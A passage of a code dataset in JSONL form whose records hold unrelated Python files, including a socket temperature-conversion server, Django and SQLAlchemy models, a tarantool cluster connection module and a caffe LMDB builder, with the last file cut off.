+{"seq_id":"184256024","text":"import sys\nimport json\nfrom socket import *\nfrom argparse import ArgumentParser\n\n#ф-я преобразования цельсия в фаренгейт по заданным параметрам\ndef cel_to_far_convert(options):\n result = {}\n min = options['min']\n max = options['max']\n step = options['step']\n\n for с in range(min,max,step):\n f = (с * 1.8) + 32\n result[с] = float('{:.1f}'.format(f))\n\n return result\n\n\nparser = ArgumentParser()\nparser.add_argument('-a', '--address', required=True, dest='address', help='server.py -a
[-p ]')\nparser.add_argument('-p', '--port', required=False, dest='port')\nargs = parser.parse_args()\n\naddress = args.address\nport = int(args.port) if args.port != None else 7777\n\nserver_socket = socket(AF_INET, SOCK_STREAM)\nserver_socket.bind((address, port))\nserver_socket.listen(5)\n\nwhile True:\n client, address = server_socket.accept()\n print(\"Получен запрос от клиента %s\" % str(address))\n\n recive_buf = client.recv(1024) # принимаем 1024 байта\n json_buf = recive_buf.decode(\"utf-8\") # декодируем полученную информацию\n client_options = json.loads(json_buf) # десереализация\n\n result = cel_to_far_convert(client_options)\n\n server_answer = json.dumps(result) # сереализация\n buf = server_answer.encode() # кодировка\n client.send(buf) # оптаврялем ответ\n\n client.close()\n\n\n","sub_path":"project/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"633997192","text":"import dace\nimport numpy as np\n\n\n@dace.program\ndef optest(A: dace.float64[5, 5], B: dace.float64[5, 5],\n C: dace.float64[5, 5]):\n tmp = (-A) * B\n for i, j in dace.map[0:5, 0:5]:\n with dace.tasklet:\n t << tmp[i, j]\n c >> C[i, j]\n c = t\n\n\nif __name__ == '__main__':\n A = np.random.rand(5, 5)\n B = np.random.rand(5, 5)\n C = np.random.rand(5, 5)\n\n optest(A, B, C)\n diff = np.linalg.norm(C - ((-A) * B))\n print('Difference:', diff)\n if diff > 1e-5:\n exit(1)\n","sub_path":"tests/numpy/elementwise_op_test.py","file_name":"elementwise_op_test.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"606229881","text":"#!/usr/bin/env python3\n\n# Reciprocal cycles\n# =================\n\n# Problem 26\n\n# A unit fraction contains 1 in the numerator.\n# The decimal representation of the unit fractions with denominators 2 to 10 are given:\n#\n# :math:`\\frac{1}{2}`\t= \t0.5\n#\n# :math:`\\frac{1}{3}`\t= \t0.(3)\n#\n# :math:`\\frac{1}{4}`\t= \t0.25\n#\n# :math:`\\frac{1}{5}`\t= \t0.2\n#\n# :math:`\\frac{1}{6}`\t= \t0.1(6)\n#\n# :math:`\\frac{1}{7}`\t= \t0.(142857)\n#\n# :math:`\\frac{1}{8}`\t= \t0.125\n#\n# :math:`\\frac{1}{9}`\t= \t0.(1)\n#\n# :math:`\\frac{1}{10}`\t= \t0.1\n#\n# Where 0.1(6) means 0.166666..., and has a 1-digit recurring cycle.\n# It can be seen that :math:`\\frac{1}{7}` has a 6-digit recurring cycle.\n#\n# Find the value of d < 1000 for which :math:`\\frac{1}{d}`\n# contains the longest recurring cycle in its decimal fraction part.\n\n# .. rubric:: Solution\n# .. py:module:: euler26\n# :synopsis: Reciprocal cycles\n\n# Compute the decimal expansion of a given fractional value, n/d.\n\ndef div( n, d ):\n \"\"\"Fractional digits of n/d. If the digits repeat, a None is appended.\n If the digits do not repeat, then no extra value is appended.\n\n This may only work for n==1.\n\n >>> from euler26 import div\n >>> div(1,2)\n [5]\n >>> div(1,3)\n [3, None]\n >>> div(1,4)\n [2, 5]\n >>> div(1,5)\n [2]\n >>> div(1,6)\n [1, 6, None]\n >>> div(1,7)\n [1, 4, 2, 8, 5, 7, None]\n >>> div(1,8)\n [1, 2, 5]\n >>> div(1,9)\n [1, None]\n >>> div(1,10)\n [1]\n \"\"\"\n nums= [ n ]\n quotient= []\n while n != 0:\n q, r = divmod(n*10,d)\n n= r\n if n in nums:\n quotient.append( q )\n quotient.append( None ) # Sentinel for repeating\n break\n quotient.append( q )\n nums.append( n )\n # No sentinel, it was exact.\n return quotient\n\n# Test the components in this module.\n\ndef test():\n import doctest\n doctest.testmod(verbose=0)\n\n# Compute the answer.\n\ndef answer():\n long_q= []\n long_d= None\n for d in range(1,1000):\n q= div( 1, d )\n if len(q) > len(long_q):\n long_q= q\n long_d= d\n #print( long_d, long_q )\n return long_d\n\n# Confirm the answer.\n\ndef confirm(ans):\n assert ans == 983, \"{0!r} Incorrect\".format(ans)\n\n# Create some output.\n\nif __name__ == \"__main__\":\n test()\n ans= answer()\n confirm( ans )\n print( \"The value of d < 1000 for which 1/d\"\n \" contains the longest recurring cycle in its decimal fraction part:\", ans )","sub_path":"euler26.py","file_name":"euler26.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"121052720","text":"import hashlib\nimport json\nimport sys\nimport time\n\nimport module_EdgeClientCLI_put\n\nEDGE_ID = int()\nEDGE_IP = str()\nEDGE_PORT = int()\nEDGE_RELI = float()\nFOG_IP = str()\nFOG_PORT = int()\nCLIENT_ID = str()\nCOMP_FORMAT = str()\n\ndef do_put(path,streamId,start,metadata,fogIp,fogPort,edgeId,clientId,duration,comp,erasureCode):\n splitChoice = str(1)\n setLease = str(0)\n return module_EdgeClientCLI_put.put(path,streamId,start,metadata, fogIp,fogPort,edgeId,clientId,splitChoice,setLease,erasureCode,duration,comp)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 8:\n print(\"usage: python put_test.py edge_config_file stream_id start_mbid put_times file_to_put erasureCode(1/0) sleep_time_between_puts mbid_tag\")\n sys.exit(0);\n CONFIG_FILE = sys.argv[1]\n edgeConfig = json.load(open(CONFIG_FILE,'r'))\n EDGE_ID = edgeConfig['edgeId']\n EDGE_IP = edgeConfig['edgeIp']\n EDGE_PORT = edgeConfig['edgePort']\n EDGE_RELI = edgeConfig['reliability']\n FOG_IP = edgeConfig['fogIp']\n FOG_PORT = edgeConfig['fogPort']\n CLIENT_ID = hashlib.md5(str(EDGE_ID).encode('utf-8')).hexdigest()\n COMP_FORMAT = edgeConfig['compFormat']\n\n print(\"Session Information\")\n print(\"Edge ID : \" + str(EDGE_ID))\n print(\"Edge IP : \" + EDGE_IP)\n print(\"Edge Port : \" + str(EDGE_PORT))\n print(\"Edge Reliability : \" + str(EDGE_RELI))\n print(\"Fog IP : \" + FOG_IP)\n print(\"Fog Port : \" + str(FOG_PORT))\n print(\"Storage Location : \" + \"./DataAndLogs/edge\"+str(EDGE_ID)+\"_data\")\n print(\"Client ID : \" + CLIENT_ID)\n\n STREAM_ID = sys.argv[2]\n START_ID = sys.argv[3]\n PUT_TIMES = sys.argv[4]\n PATH = sys.argv[5]\n erasureCode = str(sys.argv[6])\n SLEEP_TIME = sys.argv[7]\n MBID_TAG = \"\"\n if int(sys.argv[8]) != -1:\n MBID_TAG = str(sys.argv[8])\n\n if int(PUT_TIMES) == -1:\n print(\"Putting blocks till failure\")\n result = 1\n i = 0\n while result==1:\n result = do_put(PATH, STREAM_ID, int(str(int(START_ID) + i)+MBID_TAG), None, FOG_IP, FOG_PORT, EDGE_ID, CLIENT_ID, str(0), COMP_FORMAT, erasureCode)\n i = i+1\n time.sleep(int(SLEEP_TIME));\n print(result)\n print(\"res \"+str(result == 1))\n print(\"Terminated after putting \"+ str(i)+\" blocks\")\n else:\n print(\"Putting \"+str(PUT_TIMES)+\" blocks\")\n for i in range(int(PUT_TIMES)):\n do_put(PATH, STREAM_ID, int(str(int(START_ID) + i)+MBID_TAG), None, FOG_IP, FOG_PORT, EDGE_ID, CLIENT_ID, str(0), COMP_FORMAT, erasureCode)\n time.sleep(int(SLEEP_TIME));\n","sub_path":"preload/cli/put_test.py","file_name":"put_test.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"463898150","text":"from django.db import models\nfrom django.conf import settings\nfrom library.models import Library\nfrom sample.models import Sample\n\n\nclass Pool(models.Model):\n name = models.CharField('Name', max_length=200, unique=True)\n user = models.OneToOneField(\n settings.AUTH_USER_MODEL,\n verbose_name='User',\n )\n libraries = models.ManyToManyField(Library, related_name='pool', blank=True)\n samples = models.ManyToManyField(Sample, related_name='pool', blank=True)\n size = models.PositiveSmallIntegerField('Pool Size', default=0, blank=True)\n loaded = models.PositiveSmallIntegerField('Loaded', default=0, blank=True)\n file = models.FileField(upload_to='pools/%Y/%m/%d/', blank=True, null=True)\n\n def __str__(self):\n return self.name\n","sub_path":"index_generator/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"645211065","text":"import boto3\niam_cli=boto3.client('iam')\nuser_name=input('Enter the User Name: ')\ncreated_user=iam_cli.create_user(\n UserName=user_name,\n Tags=[\n {\n 'Key':'Env',\n 'Value': 'Test'\n }\n ] \n)\nprint(created_user)","sub_path":"AWS/AWS_boto3_narendra/Iam_user/create_user_client.py","file_name":"create_user_client.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"508231362","text":"from app.configurations.database import db\n\n\nclass JournalModel(db.Model):\n __tablename__ = \"journal\"\n\n id = db.Column(db.BigInteger, primary_key=True)\n name = db.Column(db.String, nullable=False)\n amount = db.Column(db.Float, nullable=False)\n group_id = db.Column(\n db.Integer,\n db.ForeignKey(\n (\"groups.id\"),\n onupdate=\"CASCADE\",\n ondelete=\"CASCADE\",\n ),\n )\n\n created_by = db.Column(\n db.Integer,\n db.ForeignKey(\n (\"users.id\"),\n onupdate=\"CASCADE\",\n ondelete=\"CASCADE\",\n ),\n )\n\n created_at = db.Column(db.DateTime)\n\n transactions_list = db.relationship(\"TransactionModel\", backref=\"entry\")\n\n expense = db.relationship(\n \"ExpenseModel\",\n uselist=False,\n backref=\"entry\",\n )\n\n @classmethod\n def create(\n cls,\n name: str,\n amount: float,\n group_id: int,\n created_by: id,\n **kwargs,\n ):\n from flask import current_app\n\n session = current_app.db.session\n\n entry = cls(\n name=name, amount=amount, group_id=group_id, created_by=created_by, **kwargs\n )\n\n session.add(entry)\n session.commit()\n\n return entry\n","sub_path":"app/journal/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"569839357","text":"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom compas_fea.utilities import postprocess\n\nfrom compas.viewers.vtkviewer import VtkViewer\n\nfrom numpy import array\nfrom numpy import hstack\nfrom numpy import newaxis\nfrom numpy import zeros\n\n\n# Author(s): Andrew Liew (github.com/andrewliew)\n\n\n__all__ = [\n 'App',\n]\n\n\nclass App(VtkViewer):\n\n def __init__(self, structure, name='compas_fea App', width=1500, height=1000, data={}, mode=''):\n\n data = {}\n data['vertices'] = structure.nodes_xyz()\n data['edges'] = []\n data['faces'] = []\n\n for ekey, element in structure.elements.items():\n\n nodes = element.nodes\n\n # Beams, trussea and springs\n\n if len(nodes) == 2:\n\n if element.__name__ == 'TrussElement':\n col = [255, 150, 150]\n\n elif element.__name__ == 'BeamElement':\n col = [150, 150, 255]\n\n elif element.__name__ == 'SpringElement':\n col = [200, 255, 0]\n\n data['edges'].append({'vertices': nodes, 'color': col})\n\n # Tris and quads\n\n elif (len(nodes) == 3) or (len(nodes) == 4):\n\n data['faces'].append({'vertices': nodes, 'color': [150, 250, 150]})\n\n\n VtkViewer.__init__(self, name=name, data=data, width=width, height=height)\n\n xb, yb, zb = structure.node_bounds()\n xm = 0.5 * (xb[0] + xb[1])\n ym = 0.5 * (yb[0] + yb[1])\n zm = 0.5 * (zb[0] + zb[1])\n\n self.camera_target = [xm, ym, zm]\n self.vertex_size = 1\n self.edge_width = 10\n self.structure = structure\n self.nodes = structure.nodes_xyz()\n self.nkeys = sorted(structure.nodes, key=int)\n self.elements = [structure.elements[i].nodes for i in sorted(structure.elements, key=int)]\n self.mode = mode\n\n self.xyz = array(self.nodes)\n self.U = zeros(self.xyz.shape)\n\n # UI setup\n\n self.setup()\n\n self.add_label(name='scale', text='Scale: {0}'.format(1))\n self.add_slider(name='scale', value=1, min=0, max=1000, interval=100, callback=self.scale_callback)\n\n if structure.steps_order:\n\n self.add_label(name='steps', text='Steps')\n self.add_listbox(name='steps', items=structure.steps_order, callback=self.update_fields)\n\n if structure.results.keys():\n\n self.add_label(name='fields_nodal', text='Fields (nodal)')\n self.add_listbox(name='fields_nodal', items=[], callback=self.nodal_plot)\n\n self.add_label(name='fields_element', text='Fields (element)')\n self.add_listbox(name='fields_element', items=[], callback=self.element_plot)\n\n self.add_label(name='iptype', text='iptype')\n self.add_listbox(name='iptype', items=['mean', 'min', 'max'], callback=self.element_plot)\n\n self.add_label(name='nodal', text='nodal')\n self.add_listbox(name='nodal', items=['mean', 'min', 'max'], callback=self.element_plot)\n\n\n def scale_callback(self):\n\n value = self.sliders['scale'].value()\n X = self.xyz + self.U * value\n\n self.labels['scale'].setText('Scale: {0}'.format(value))\n self.update_vertices_coordinates({i: X[i, :] for i in range(self.structure.node_count())})\n\n\n def update_fields(self):\n\n self.listboxes['fields_nodal'].clear()\n self.listboxes['fields_element'].clear()\n step = self.listboxes['steps'].currentText()\n\n try:\n\n keys = list(self.structure.results[step].keys())\n results = self.structure.results[step]\n\n if 'nodal' in keys:\n\n node_fields = sorted(list(results['nodal'].keys()))\n self.listboxes['fields_nodal'].addItems(['-select-'] + node_fields)\n\n mode = self.mode\n self.ux = array([results['nodal']['ux{0}'.format(mode)][i] for i in self.nkeys])\n self.uy = array([results['nodal']['uy{0}'.format(mode)][i] for i in self.nkeys])\n self.uz = array([results['nodal']['uz{0}'.format(mode)][i] for i in self.nkeys])\n self.U = hstack([self.ux[:, newaxis], self.uy[:, newaxis], self.uz[:, newaxis]])\n\n if 'element' in keys:\n\n element_fields = sorted(list(results['element'].keys()))\n self.listboxes['fields_element'].addItems(['-select-'] + element_fields)\n\n self.scale_callback()\n\n except:\n\n pass\n\n\n def nodal_plot(self):\n\n try:\n\n step = self.listboxes['steps'].currentText()\n field = self.listboxes['fields_nodal'].currentText()\n\n cbar = [None, None]\n data = [self.structure.results[step]['nodal']['{0}{1}'.format(field, self.mode)][i] for i in self.nkeys]\n\n result = postprocess(self.nodes, self.elements, self.ux, self.uy, self.uz, data, 'nodal', 1, cbar,\n 255, None, None)\n toc, _, cnodes, *_ = result\n\n self.update_vertices_colors({i: j for i, j in enumerate(cnodes)})\n self.update_statusbar('Plotting: {0:.3f} s'.format(toc))\n\n except:\n\n pass\n\n\n def element_plot(self):\n\n try:\n\n step = self.listboxes['steps'].currentText()\n field = self.listboxes['fields_element'].currentText()\n\n if field != 'axes':\n\n iptype = self.listboxes['iptype'].currentText()\n nodal = self.listboxes['nodal'].currentText()\n cbar = [None, None]\n data = self.structure.results[step]['element'][field]\n\n result = postprocess(self.nodes, self.elements, self.ux, self.uy, self.uz, data, 'element', 1, cbar,\n 255, iptype, nodal)\n toc, _, cnodes, *_ = result\n\n self.update_vertices_colors({i: j for i, j in enumerate(cnodes)})\n self.update_statusbar('Plotting: {0:.3f} s'.format(toc))\n\n except:\n\n pass\n\n\n# ==============================================================================\n# Main\n# ==============================================================================\n\nif __name__ == \"__main__\":\n\n from compas_fea.structure import Structure\n\n fnm = '/home/al/temp/example_shell.obj'\n\n mdl = Structure.load_from_obj(fnm)\n mdl.view()\n","sub_path":"src/compas_fea/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"95490797","text":"# -*- coding: utf-8 -*-\n'''\nThis module provides MeshConnection class with automatic switch\nbetween tarantool instances and basic Round-Robin strategy.\n'''\n\nimport time\n\n\nfrom tarantool.connection import Connection\nfrom tarantool.error import (\n warn,\n NetworkError,\n DatabaseError,\n ConfigurationError,\n ClusterDiscoveryWarning,\n)\nfrom tarantool.utils import ENCODING_DEFAULT\nfrom tarantool.const import (\n CONNECTION_TIMEOUT,\n SOCKET_TIMEOUT,\n RECONNECT_MAX_ATTEMPTS,\n RECONNECT_DELAY,\n CLUSTER_DISCOVERY_DELAY,\n)\n\nfrom tarantool.request import (\n RequestCall\n)\n\ntry:\n string_types = basestring\nexcept NameError:\n string_types = str\n\n\ndef parse_uri(uri):\n # TODO: Support Unix sockets.\n def parse_error(uri, msg):\n msg = 'URI \"%s\": %s' % (uri, msg)\n return None, msg\n\n if not uri:\n return parse_error(uri, 'should not be None or empty string')\n if not isinstance(uri, string_types):\n return parse_error(uri, 'should be of a string type')\n if uri.count(':') != 1:\n return parse_error(uri, 'does not match host:port scheme')\n\n host, port_str = uri.split(':', 1)\n if not host:\n return parse_error(uri, 'host value is empty')\n\n try:\n port = int(port_str)\n except ValueError:\n return parse_error(uri, 'port should be a number')\n\n return {'host': host, 'port': port}, None\n\n\ndef validate_address(address):\n def format_error(address, err):\n return None, 'Address %s: %s' % (str(address), err)\n\n if not isinstance(address, dict):\n return format_error(address, 'address must be a dict')\n\n if 'port' not in address or address['port'] is None:\n return format_error(address, 'port is not set or None')\n\n if isinstance(address['port'], int):\n # Looks like an inet address.\n\n # Validate host.\n if 'host' not in address or address['host'] is None:\n return format_error(address,\n 'host is mandatory for an inet address')\n if not isinstance(address['host'], string_types):\n return format_error(address,\n 'host must be a string for an inet address')\n\n # Validate port.\n if not isinstance(address['port'], int):\n return format_error(address,\n 'port must be an int for an inet address')\n if address['port'] < 1 or address['port'] > 65535:\n return format_error(address, 'port must be in range [1, 65535] '\n 'for an inet address')\n\n # Looks okay.\n return True, None\n elif isinstance(address['port'], string_types):\n # Looks like a unix address.\n\n # Expect no host.\n if 'host' in address and address['host'] is not None:\n return format_error(\n address, 'host must be unset or None for a unix address')\n\n # Validate port.\n if not isinstance(address['port'], string_types):\n return format_error(address,\n 'port must be a string for a unix address')\n\n # Looks okay.\n return True, None\n\n return format_error(address, 'port must be an int or a string')\n\n\nclass RoundRobinStrategy(object):\n \"\"\"\n Simple round-robin address rotation\n \"\"\"\n def __init__(self, addrs):\n self.update(addrs)\n\n def update(self, new_addrs):\n # Verify new_addrs is a non-empty list.\n assert new_addrs and isinstance(new_addrs, list)\n\n # Remove duplicates.\n new_addrs_unique = []\n for addr in new_addrs:\n if addr not in new_addrs_unique:\n new_addrs_unique.append(addr)\n new_addrs = new_addrs_unique\n\n # Save a current address if any.\n if 'pos' in self.__dict__ and 'addrs' in self.__dict__:\n current_addr = self.addrs[self.pos]\n else:\n current_addr = None\n\n # Determine a position of a current address (if any) in\n # the new addresses list.\n if current_addr and current_addr in new_addrs:\n new_pos = new_addrs.index(current_addr)\n else:\n new_pos = -1\n\n self.addrs = new_addrs\n self.pos = new_pos\n\n def getnext(self):\n self.pos = (self.pos + 1) % len(self.addrs)\n return self.addrs[self.pos]\n\n\nclass MeshConnection(Connection):\n '''\n Represents a connection to a cluster of Tarantool servers.\n\n This class uses Connection to connect to one of the nodes of the cluster.\n The initial list of nodes is passed to the constructor in 'addrs' parameter.\n The class set in 'strategy_class' parameter is used to select a node from\n the list and switch nodes in case of unavailability of the current node.\n\n 'cluster_discovery_function' param of the constructor sets the name of a\n stored Lua function used to refresh the list of available nodes. The\n function takes no parameters and returns a list of strings in format\n 'host:port'. A generic function for getting the list of nodes looks like\n this:\n\n .. code-block:: lua\n\n function get_cluster_nodes()\n return {\n '192.168.0.1:3301',\n '192.168.0.2:3302',\n -- ...\n }\n end\n\n You may put in this list whatever you need depending on your cluster\n topology. Chances are you'll want to make the list of nodes from nodes'\n replication config. Here is an example for it:\n\n .. code-block:: lua\n\n local uri_lib = require('uri')\n\n function get_cluster_nodes()\n local nodes = {}\n\n local replicas = box.cfg.replication\n\n for i = 1, #replicas do\n local uri = uri_lib.parse(replicas[i])\n\n if uri.host and uri.service then\n table.insert(nodes, uri.host .. ':' .. uri.service)\n end\n end\n\n -- if your replication config doesn't contain the current node\n -- you have to add it manually like this:\n table.insert(nodes, '192.168.0.1:3301')\n\n return nodes\n end\n '''\n\n def __init__(self, host=None, port=None,\n user=None,\n password=None,\n socket_timeout=SOCKET_TIMEOUT,\n reconnect_max_attempts=RECONNECT_MAX_ATTEMPTS,\n reconnect_delay=RECONNECT_DELAY,\n connect_now=True,\n encoding=ENCODING_DEFAULT,\n call_16=False,\n connection_timeout=CONNECTION_TIMEOUT,\n addrs=None,\n strategy_class=RoundRobinStrategy,\n cluster_discovery_function=None,\n cluster_discovery_delay=CLUSTER_DISCOVERY_DELAY):\n if addrs is None:\n addrs = []\n else:\n # Don't change user provided arguments.\n addrs = addrs[:]\n\n if host and port:\n addrs.insert(0, {'host': host, 'port': port})\n\n # Verify that at least one address is provided.\n if not addrs:\n raise ConfigurationError(\n 'Neither \"host\" and \"port\", nor \"addrs\" arguments are set')\n\n # Verify addresses.\n for addr in addrs:\n ok, msg = validate_address(addr)\n if not ok:\n raise ConfigurationError(msg)\n\n self.strategy_class = strategy_class\n self.strategy = strategy_class(addrs)\n\n addr = self.strategy.getnext()\n host = addr['host']\n port = addr['port']\n\n self.cluster_discovery_function = cluster_discovery_function\n self.cluster_discovery_delay = cluster_discovery_delay\n self.last_nodes_refresh = 0\n\n super(MeshConnection, self).__init__(\n host=host,\n port=port,\n user=user,\n password=password,\n socket_timeout=socket_timeout,\n reconnect_max_attempts=reconnect_max_attempts,\n reconnect_delay=reconnect_delay,\n connect_now=connect_now,\n encoding=encoding,\n call_16=call_16,\n connection_timeout=connection_timeout)\n\n def connect(self):\n super(MeshConnection, self).connect()\n if self.connected and self.cluster_discovery_function:\n self._opt_refresh_instances()\n\n def _opt_reconnect(self):\n '''\n Attempt to connect \"reconnect_max_attempts\" times to each\n available address.\n '''\n\n last_error = None\n for _ in range(len(self.strategy.addrs)):\n try:\n super(MeshConnection, self)._opt_reconnect()\n last_error = None\n break\n except NetworkError as e:\n last_error = e\n addr = self.strategy.getnext()\n self.host = addr[\"host\"]\n self.port = addr[\"port\"]\n\n if last_error:\n raise last_error\n\n def _opt_refresh_instances(self):\n '''\n Refresh list of tarantool instances in a cluster.\n Reconnect if a current instance was gone from the list.\n '''\n now = time.time()\n\n if not self.connected or not self.cluster_discovery_function or \\\n now - self.last_nodes_refresh < self.cluster_discovery_delay:\n return\n\n # Call a cluster discovery function w/o reconnection. If\n # something going wrong: warn about that and ignore.\n request = RequestCall(self, self.cluster_discovery_function, (),\n self.call_16)\n try:\n resp = self._send_request_wo_reconnect(request)\n except DatabaseError as e:\n msg = 'got \"%s\" error, skipped addresses updating' % str(e)\n warn(msg, ClusterDiscoveryWarning)\n return\n\n if not resp.data or not resp.data[0] or \\\n not isinstance(resp.data[0], list):\n msg = \"got incorrect response instead of URI list, \" + \\\n \"skipped addresses updating\"\n warn(msg, ClusterDiscoveryWarning)\n return\n\n # Validate received address list.\n new_addrs = []\n for uri in resp.data[0]:\n addr, msg = parse_uri(uri)\n if not addr:\n warn(msg, ClusterDiscoveryWarning)\n continue\n\n ok, msg = validate_address(addr)\n if not ok:\n warn(msg, ClusterDiscoveryWarning)\n continue\n\n new_addrs.append(addr)\n\n if not new_addrs:\n msg = \"got no correct URIs, skipped addresses updating\"\n warn(msg, ClusterDiscoveryWarning)\n return\n\n self.strategy.update(new_addrs)\n self.last_nodes_refresh = now\n\n # Disconnect from a current instance if it was gone from\n # an instance list and connect to one of new instances.\n current_addr = {'host': self.host, 'port': self.port}\n if current_addr not in self.strategy.addrs:\n self.close()\n addr = self.strategy.getnext()\n self.host = addr['host']\n self.port = addr['port']\n self._opt_reconnect()\n\n def _send_request(self, request):\n '''\n Update instances list if \"cluster_discovery_function\" is provided and a\n last update was more then \"cluster_discovery_delay\" seconds ago.\n\n After that perform a request as usual and return an instance of\n `Response` class.\n\n :param request: object representing a request\n :type request: `Request` instance\n\n :rtype: `Response` instance\n '''\n self._opt_refresh_instances()\n return super(MeshConnection, self)._send_request(request)\n","sub_path":"tarantool/mesh_connection.py","file_name":"mesh_connection.py","file_ext":"py","file_size_in_byte":11761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"590280520","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom mist_api_v2.models.base_model_ import Model\nfrom mist_api_v2 import util\n\n\nclass PostDeployScript(Model):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(self, script=None, params=None): # noqa: E501\n \"\"\"PostDeployScript - a model defined in OpenAPI\n\n :param script: The script of this PostDeployScript. # noqa: E501\n :type script: str\n :param params: The params of this PostDeployScript. # noqa: E501\n :type params: str\n \"\"\"\n self.openapi_types = {\n 'script': str,\n 'params': str\n }\n\n self.attribute_map = {\n 'script': 'script',\n 'params': 'params'\n }\n\n self._script = script\n self._params = params\n\n @classmethod\n def from_dict(cls, dikt) -> 'PostDeployScript':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The PostDeployScript of this PostDeployScript. # noqa: E501\n :rtype: PostDeployScript\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def script(self):\n \"\"\"Gets the script of this PostDeployScript.\n\n Name or ID of the script to run # noqa: E501\n\n :return: The script of this PostDeployScript.\n :rtype: str\n \"\"\"\n return self._script\n\n @script.setter\n def script(self, script):\n \"\"\"Sets the script of this PostDeployScript.\n\n Name or ID of the script to run # noqa: E501\n\n :param script: The script of this PostDeployScript.\n :type script: str\n \"\"\"\n if script is None:\n raise ValueError(\"Invalid value for `script`, must not be `None`\") # noqa: E501\n\n self._script = script\n\n @property\n def params(self):\n \"\"\"Gets the params of this PostDeployScript.\n\n\n :return: The params of this PostDeployScript.\n :rtype: str\n \"\"\"\n return self._params\n\n @params.setter\n def params(self, params):\n \"\"\"Sets the params of this PostDeployScript.\n\n\n :param params: The params of this PostDeployScript.\n :type params: str\n \"\"\"\n\n self._params = params\n","sub_path":"mist_api_v2/models/post_deploy_script.py","file_name":"post_deploy_script.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"447027827","text":"import random\n\nimport caffe\nimport lmdb\nimport os\n\nfrom bishe.settings import MEDIA_CAFFE_PATH, MEDIA_CAFFE_PROTOTXT_PATH, MEDIA_CAFFE_LABEL_PATH\nimport numpy as np\n# deploy = MEDIA_CAFFE_PROTOTXT_PATH # deploy文件\n# caffe_model = MEDIA_CAFFE_PATH # 训练好的 caffemodel\n# labels_filename = MEDIA_CAFFE_LABEL_PATH # 类别名称文件，将数字标签转换回类别名称\n# LABELS = np.loadtxt(labels_filename, str, delimiter='\\n') #读取类别名称文件\n# CAFFENET = caffe.Net(deploy, caffe_model, caffe.TEST) # 加载model和network\n# print(CAFFENET.blobs['data'].data.shape)\n# 图片预处理设置\nTransformer = caffe.io.Transformer({'data': (1, 3, 224, 224)}) # 设定图片的shape格式(1,3,28,28)\nTransformer.set_transpose('data', (2, 0, 1)) # 改变维度的顺序，由原始图片(28,28,3)变为(3,28,28)\nTransformer.set_mean('data', np.array([104, 117, 123])) # 减去均值，前面训练模型时没有减均值，这儿就不用\nTransformer.set_raw_scale('data', 255) # 缩放到【0，255】之间\nTransformer.set_channel_swap('data', (2, 1, 0)) # 交换通道，将图片由RGB变为BGR\nimg_path = \"/root/samples/\"\n\nmap_txt = open(\"label-map.txt\",\"r\")\nmap_label = [text.split(\"\\n\")[0] for text in map_txt.readlines() ]\nfiles = os.listdir(img_path)\nprint(files.__len__())\ntrain_files = files[0:100]\nsplit_char = '_'\nsplit_index = 0\nall_labels = []\nall_images = []\nfor i in range(len(train_files)):\n im = caffe.io.load_image(img_path+train_files[i]) # 加载图片\n ### detail\n data=Transformer.preprocess('data', im) # 执行上面设置的图片预处理操作，并将图片载入到blob中\n all_images.append(data)\nall_images = np.array(all_images)\n# all_labels =np.array(all_labels)\nkey = 0\nlmdb_path = \"./train_data_lmdb\"\nenv = lmdb.open(lmdb_path, map_size=int(1e12))\nwith env.begin(write=True) as txn:\n for i in range(len(all_labels)):\n print(all_images[i].shape)\n print(\"已处理\"+str(i)+\"张图片\")\n datum = caffe.proto.caffe_pb2.Datum()\n datum.channels = 3\n datum.height = 224\n datum.width = 224\n datum.data = all_images[i].tobytes() # or .tobytes() if numpy < 1.9\n # datum.label = \" \".join(str(j) for j in all_labels[i])\n datum.label = 0\n key_str = '{:08}'.format(key)\n\n txn.put(key_str.encode('ascii'), datum.SerializeToString())\n key += 1\n","sub_path":"test/train/createdata.py","file_name":"createdata.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"197859941","text":"#!/usr/local/bin/python3\n\n#@author\t\tBrandon Tarney\n#@date\t\t\t10/16/2018\n#@description\tClassificationTree class\n\nimport numpy as np\nimport pandas as pd\nimport argparse\nimport operator\nimport random\nimport math\nimport copy\nfrom base_model3 import BaseModel\n\n\n#=============================\n# is_continuous_value()\n#\n#\t- helper fcn - determine if a string is continuous \n#=============================\ndef is_continuous_value(string_value):\n\t#isdigit() only works on unsigned integers, so remove decimal & negative\n\tstripped_string = string_value.replace('.','',1).replace('-','',1)\n\treturn stripped_string.isdigit()\n\t\n\n#=============================\n# 